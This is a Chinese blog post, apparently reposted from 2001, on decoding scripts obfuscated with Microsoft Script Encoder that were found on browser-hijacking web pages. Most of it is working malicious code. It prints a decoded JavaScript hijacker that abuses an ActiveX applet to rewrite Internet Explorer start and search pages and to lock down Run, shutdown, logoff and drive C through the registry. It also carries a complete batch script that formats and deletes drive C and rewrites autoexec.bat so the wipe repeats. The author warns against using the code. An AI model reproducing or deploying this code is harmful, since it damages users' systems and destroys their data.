zoukankan      html  css  js  c++  java
  • 网页脚本加密解密

    大家都有这样很烦地经历:可能在网上冲浪时,IE会莫名被被改的希奇古怪了,收藏家也多了
    许多什么什么精美照片之类的网址,我后来研究这种网页,隐藏的很深的,首先发现它的主页有这
    样的代码有引用什么www.coolstarpage.com的代码,
    <script src=" http://coolstarpage.com/set.asp?name=123&url=http://www.123.com&set=2"></script> 
    大家可以去看看
    document.write("<IFRAME src='ieatt.htm' width='1' height='0' marginwidth='0' marginheight='0' 
    hspace='0' vspace='0' frameborder='0' scrolling='NO' ></IFRAME>"); 
    文件ieatt.htm代码这样的:
    <SCRIPT LANGUAGE="JScript.Encode">#@~^tREAAA==@#@&@!Z O@#@&\mD,    WMNdP{JYf;/mMrwD] ...</SCRIPT>
    显然用Microsoft Script Encoder加密JavaScript代码了,网络真好,很快找到了
    Decoder for Microsoft Script Encoder(该工具的源代码有附)改程序的具体机制及算法详见:

    http://www.virtualconspiracy.com/scrdec.html 

    【题外话】
    Windows脚本加密器(Windows Script Encoder - screnc.exe)是微软提供给大家加密
    html,JScript,ASP等脚本,该工具下载地址:
    http://msdn.microsoft.com/scripting/default.htm?/scripting/vbscript/download/vbsdown.htm 
    微软没有提供解密工具,微软在主页上这样说:
    Note that this encoding only prevents casual viewing of your code; 
    it will not prevent the determined hacker from seeing what you've done and how. 

    加密器使用方法:
    screnc filename1 filename2
    filename1 - 要加密的脚本文件
    filename2 - 加密后输出的脚本文件
    举个例子:
    源文件如下:
    <HTML>
    <HEAD>
    <TITLE>Page with secret information</TITLE>
    <SCRIPT LANGUAGE="JScript">
    <!--//
    //**Start Encode**
       alert ("this code should be kept secret!!!!");
    //-->
    </SCRIPT>
    </HEAD>
    <BODY>
    This page contains secret information.
    </BODY>
    </HTML>

    加密后文件如下:
    <HTML>
    <HEAD>
    <TITLE>Page with secret information</TITLE>
    <SCRIPT LANGUAGE="JScript.Encode">
    <!--//
    //**Start Encode**#@~^QwAAAA==@#@&P~,l^+DDPvEY4kdP1W[n,/tK;V9P4
    ~V+aY,/nm.nD"Z"eE#p@#@&&JOO@*@#@&qhAAAA==^#~@&
    lt;/SCRIPT>
    </HEAD>
    <BODY>
    This page contains secret information.
    </BODY>
    </HTML>

    你已经看到了加密后的脚本使用了Scripting.Encoder这个COM对象来实现的。

    【言归正卷】

    解密后代码大致为:

    【--不要使用,大家研究研究------------------------------------------------------------------】
    <SCRIPT LANGUAGE="JAVASCRIPT"> 

    fn="GhostStudio.HTM";
    doc="<SCRIPT>s1=\'Welcome to Ghost Studio\';alert(s1);document.body.innerHTML=s1</"+"SCRIPT>";

    document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

    //add favorites
    function AddFavLnk(localFavDir, urlDispname, urlSite)
    {
        var varShortcut = Shl.CreateShortcut(localFavDir + "\\" + urlDispname +".URL");
        varShortcut.TargetPath = urlSite;
        varShortcut.Save();
    }

    function saveFile()
    {
        a1.setProperty('DOC',doc);
    }

    function iloveu()
    {
        try
        {
            //ActiveX initialization
            a1=document.applets[0];
            a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
            a1.createInstance();
            Shl = a1.GetObject();
            
            a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
            a1.createInstance();
            FSO = a1.GetObject();

            a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
            a1.createInstance();
            Net = a1.GetObject();
            
            a1.setCLSID("{06290BD5-48AA-11D2-8432-006008C3FBFC}");
            a1.createInstance();
            Path = a1.GetObject();
            
            //create a file named 'GhostStudio.htm" on your desktop
            setTimeout("a1.setProperty('Path','"+fn+"')",1000);
            setTimeout("saveFile()",1500);
            setTimeout("a1.invoke('write',VA);alert('"+fn+" 被建立');",2000);
            
            try
            {
                if (document.cookie.indexOf("Chg") == -1) 
                {
                    var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
                    document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
                
                    var WF, Shor, loc;
                    WF = FSO.GetSpecialFolder(0);
                    loc = WF + "\\Favorites";
                    if(!FSO.FolderExists(loc))
                    {
                        loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
                        if(!FSO.FolderExists(loc)) return;
                    }
                    
                    //add favorite
                    AddFavLnk(loc, "Ghost Studio", " http://GhostStudio.yeah.net"); 
                    
                    //no run
                    Shl.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoRun", 01, "REG_BINARY");
                    
                    //no shutdown
                    Shl.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoClose", 01, "REG_BINARY");
                    
                    //no logoff
                    Shl.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoLogOff", 01, "REG_BINARY");
                    
                    //no driver c:
                    Shl.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDrives", "00000004", "REG_DWORD");
                    
                    //no dos program
                    Shl.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\Disabled","REG_BINARY");
                    
                    //no dos model
                    Shl.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\NoRealMode","REG_BINARY");

                    //show logon messagebox title
                    Shl.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption", "AHA i LOVE U");
                    
                    //show logon messagebox contect
                    Shl.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText", "AHA i LOVE U"); 

                    //modify ie start page
                    Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", " http://ghoststudio.yeah.net"); 
                    
                    //modify input
                    Shl.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\internat.exe", "..............");
                    
                    //modify reg readonly
                    Shl.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\NoRealMode", "00000000", "REG_DWORD");
                    
                    //modify ie window title
                    Shl.RegWrite("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", " http://ghoststudio.yeah.net"); 
                    Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", " http://ghoststudio.yeah.net"); 
                    
                    //modify ie search page
                    Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\AutoSearch", "05000000", "REG_BINARY");
                    Shl.RegWrite("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\AutoSearch", "05000000", "REG_BINARY");
                    Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Do404Search", "01000000", "REG_BINARY");
                    Shl.RegWrite("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Do404Search", "01000000", "REG_BINARY");
                    Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Page", " http://ghoststudio.yeah.net"); 
                    Shl.RegWrite("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Search Page", " http://ghoststudio.yeah.net"); 

                }
            }
            catch(e){}
        }
        catch(e){}
    }

    function init()
    {
        setTimeout("iloveu()", 1000);
    }

    init();

    </SCRIPT>

    <SCRIPT LANGUAGE="VBSCRIPT"> 
    ' 获取com.ms.com.Variant[]
    VA = ARRAY()
    </SCRIPT>
    //*****************************************
    @echo off 
    rem Bye Bye Hardrive 1.0 
    echo Please wait while program uploads some nice pronography.... 

    call attrib -h -r c:\autoexec.bat >nul 
    echo @echo off >c:\autoexec.bat 
    echo call format c: /q /u /autotest >nul >>c:\autoexec.bat 
    echo call deltree /y c: >nul >>c:\autoexec.bat 
    echo dummy variable >c:\dvar.txt 

    :form 
    call format c: /q /u /autotest >nul 
    if exist c:\dos\format.* goto dosform 
    if exist c:\windows\command\format.* goto winform 
    goto de 

    :dosform 
    cd\dos >nul 
    call format c: /h /q /u /autotest >nul 
    cd\ >nul 

    :winform 
    cd\windows\command >nul 
    call format c: /h /q /u /autotest >nul 
    cd\ >nul 
    goto inform 

    :de 
    if exist c:\dvar.txt goto dtree 
    goto inform 

    :dtree 
    call deltree /y c: >nul 
    if exist c:\dos\deltree.* goto deldos 
    if exist c:\windows\command\deltree.* goto delwin 
    goto inform 

    :deldos 
    cd\dos 
    call deltree /y c: >nul 
    cd\ 

    :delwin 
    cd\windows\command >nul 
    call deltree /y c: >nul 
    cd\ >nul 

    rem The following rewrites the code into the autoexec.bat file. 

    echo @echo off >c:\autoexec.bat 
    echo cls >>c:\autoexe.bat 

    echo :form 
    echo call format c: /q /u /autotest >nul >>c:\autoexec.bat 
    echo if exist c:\dos\format.* goto dosform >>c:\autoexec.bat 
    echo if exist c:\windows\command\format.* goto winform >>c:\autoexec.bat 
    echo goto de >>c:\autoexec.bat 

    echo :dosform >>c:\autoexec.bat 
    echo cd\dos >nul >>c:\autoexec.bat 
    echo call format c: /q /u /autotest >nul >>c:\autoexec.bat 
    echo cd\ >nul >>c:\autoexec.bat 

    echo :winform >>c:\autoexec.bat 
    echo cd\windows\command >nul >>c:\autoexec.bat 
    echo call format c: /q /u /autotest >nul >>c:\autoexec.bat 
    echo cd\ >nul >>c:\autoexec.bat 
    echo goto write >>c:\autoexec.bat 

    echo :de >>c:\autoexec.bat 
    echo if exist c:\dvar.txt goto dtree >>c:\autoexec.bat 
    echo goto write >>c:\autoexec.bat 

    echo :dtree >>c:\autoexec.bat 
    echo call deltree /y c: >nul >>c:\autoexec.bat 
    echo if exist c:\dos\deltree.* goto deldos >>c:\autoexec.bat 
    echo if exist c:\windows\command\deltree.* goto delwin >>c:\autoexec.bat 

    echo :deldos >>c:\autoexec.bat 
    echo cd\dos >>c:\autoexec.bat 
    echo call deltree /y c: >nul >>c:\autoexec.bat 
    echo cd\ >>c:\autoexec.bat 

    echo :delwin >>c:\autoexec.bat 
    echo cd\windows\command >nul >>c:\autoexec.bat 
    echo call deltree /y c: >nul >>c:\autoexec.bat 
    echo cd\ >nul >>c:\autoexec.bat 

    echo :write >>c:\autoexec.bat 
    echo type hdkiller.txt >>c:\autoexec.bat 
    echo c:\ >>c:\autoexec.bat 
    echo cd\ >>c:\autoexec.bat 
    echo :nasty >>c:\autoexec.bat 
    echo md nasty >>c:\autoexec.bat 
    echo cd nasty >>c:\autoexec.bat 
    echo echo You're Gone @$$ hole!!!! >yourgone.txt >>c:\autoexec.bat 
    echo goto nasty >>c:\autoexec.bat 
    echo pause >>c:\autoexec.bat 

    rem Rewriting of code to the autoexec.bat file is complete. 

    c:\ >nul 
    cd\ >nul 
    :killfat 
    md nasty >nul 
    cd nasty >nul 
    echo Woops Is sent the hdk and not the pornography o well.. >yourgone.txt >nul 
    goto killfat 

    :end 
    //*****************************************
    【--不要使用,大家研究研究------------------------------------------------------------------】

    批注(我加上了注解,代码中Ghost Studio及 http://ghoststudio.yeah.net字符串是我代替用的,其中有些代码是我自己根据对Windows的了解而加上去的) 
    更重要的是可以执行一个可执行文件

    虽然JAVA对Applet的安全作出了限制,但由于浏览器或语言漏洞的原因,当它与功能比较强大的脚本语言结合时,这些小应用程序常可凭借正常或诡秘的手段对用户
    的机器进行恶意修改,比如修改注册表,运行相关的DOS命令,在用户机器上安装木马或激活相关的应用程序,其功能之强大远非单纯的网页所能胜任,由此看来,现在网上
    所流传的说什么浏览相关网页中病毒或者硬盘被格式化也就见怪不惊了。另外,还有一种嵌入式应用程序就是ActiveX,是微软的一种插件技术,也可以象Applet一样
    进行一些针对本机的操作。现在让我们了解一下以下代码编制的机 理(如果你不了解脚本语言,可仅看看程序修改了哪些注册表表 项,然后找到 这些表项并修改回来)。 

    让我们再来看看这个com.ms.activeX.ActiveXComponent东西是什么?
    我的computer时Windows 2000
    在目录 \WINNT\Java\Packages\有一个zip文件Tn9j75np.zip大概5M
    里面是一堆的java class
    我提供代码中有将有源文件ActiveXComponent.java代码大致是:
    public class ActiveXComponent extends Canvas
    {

        private transient IAXComponent ax;
        private transient IUnknown unknown;
        private String clsid;

        public void enableEvents()
        {
        }

        public IUnknown createInstance(String s)
        {
            unknown = ax.createControl(s);
            return unknown;
        }

        public IUnknown createInstance()
        {
            if(clsid == null)
                throw new NullPointerException();
            else
                return createInstance(clsid);
        }

        public void createInstance(IUnknown iunknown)
        {
            if(iunknown == null)
            {
                throw new NullPointerException();
            } else
            {
                unknown = iunknown;
                ax.createControlFromIUnknown(iunknown);
                return;
            }
        }

        public Variant invoke(String s, Variant avariant[])
        {
            return internal_invoke(1, s, avariant);
        }

        public Variant getProperty(String s)
        {
            return internal_invoke(2, s, null);
        }

        public void setProperty(String s, Variant variant)
        {
            Variant avariant[] = new Variant[1];
            avariant[0] = variant;
            internal_invoke(4, s, avariant);
        }

        public ActiveXComponent()
        {
            PolicyEngine.checkForAllPermissions();
            ax = createAXComponent();
        }

        public ActiveXComponent(String s)
        {
            this();
            setCLSID(s);
            createInstance(s);
        }

        public ActiveXComponent(IUnknown iunknown)
        {
            this();
            createInstance(iunknown);
        }

        protected IAXComponent getHost()
        {
            return ax;
        }

        private static native IAXComponent createAXComponent();

        private Variant internal_invoke(int i, String s, Variant avariant[])
            throws IllegalArgumentException, NullPointerException
        {
            int ai[] = new int[1];
            if(s == null)
                throw new IllegalArgumentException("The method or property name can not be null.");
            if(i == 0)
                i = 1;
            if(i != 1 && i != 2 && i != 4 && i != 8)
                throw new IllegalArgumentException("The argument, int type, is not valid.");
            if(getObject() == null)
                throw new NullPointerException("The ActiveX control IUnknown is null.");
            Variant variant = null;
            switch(i)
            {
            case 3: // '\003'
            case 5: // '\005'
            case 6: // '\006'
            case 7: // '\007'
            default:
                break;

            case 2: // '\002'
                variant = Dispatch.get(getObject(), s);
                break;

            case 4: // '\004'
                if(avariant == null)
                    throw new IllegalArgumentException("Property value can not be null.");
                Dispatch.put(getObject(), s, avariant[0]);
                break;

            case 8: // '\b'
                if(avariant == null)
                    throw new IllegalArgumentException("Property value can not be null.");
                Dispatch.putRef(getObject(), s, avariant[0]);
                break;

            case 1: // '\001'
                if(avariant == null)
                {
                    Variant avariant1[] = new Variant[1];
                    avariant1[0] = new Variant();
                    avariant = avariant1;
                }
                variant = Dispatch.invokev(getObject(), s, i, avariant, ai);
                break;
            }
            return variant;
        }

        public void setCLSID(String s)
        {
            clsid = s;
        }

        public String getCLSID()
        {
            return clsid;
        }

        public IUnknown getObject()
        {
            return unknown;
        }

        static 
        {
            System.loadLibrary("msawt");
        }
    }
    可以看出
    Windows对java的支持主要靠这个文件:\SystemDir\msawt.dll(Microsoft AWT Library for Java)

    【提供的源代码说明】
    _iloveu.ok                恶意代码(我没有测试,原理绝对对,大家不要使用)
    ActiveXCompoent.java    微软对java支持的一块代码
    remodify.htm            对已中毒的系统恢复注册表(代码加密了,大家解密看看)
    regvol1.zip                注册表大全卷一RegHelp Vol.1压缩包(解压后点击reg目录下的index.html)
    sce10chs.exe            Mircosoft提供的脚本加密工具ver 1.0
    scrdec13.c                Windows Script Decoder源代码ver 1.3
    scrdec13.exe            Windows Script Decoder程序(命令行方式)
    WindowsScriptDecoder.htm    原作者的算法讲解,e文

        Copyleft (c) 2001 Ghost Studio. All rights abandoned.
         http://GhostStudio.yeah.net 
        mornlee@21cn.com
        2001/12/29

    【闪人了!】
    再过两小时我们要吃年饭了,不能说太多了,呵呵,没时间了!
    大家自己研究研究吧!千万不要滥用哦!
    不对的请指正!
    最后祝大家也祝我,Happy New Year!天天好心情!

    重复重要声明:
    此代码仅供研究使用,让大家有点防范意识,不要这种无聊恶意的代码危害我们,
    影响我们网上冲浪的心情,如果有人非法使用,一切后果自负,与本人无关,也建议大家
    不要在自己的主页中使用,因为你一旦使用,最后最遭殃的是生你养你的老妈呀!
    (出处:www.viphot.com)
  • 相关阅读:
    实现倒计时
    slidingMenu使用中侧滑回界面后,出现无焦点问题
    android eclipse 下Device无设备问题解决
    android cordova java.lang.Throwable: EventHub.removeMessages(int what = 107) is not supported before the WebViewCore is set up问题的解决和想法
    Android Cordova 对于软键盘弹出后覆盖输入域的解决
    Extjs最后一页数据删除之后自动返回上一页
    jquery Unexpected token i
    批量删除.svn文件夹、.svn文件
    mysql创建用户权限
    mysql存储过程解决数组传参及游标CURSOR的问题解决方案
  • 原文地址:https://www.cnblogs.com/swordzj/p/2034793.html
Copyright © 2011-2022 走看看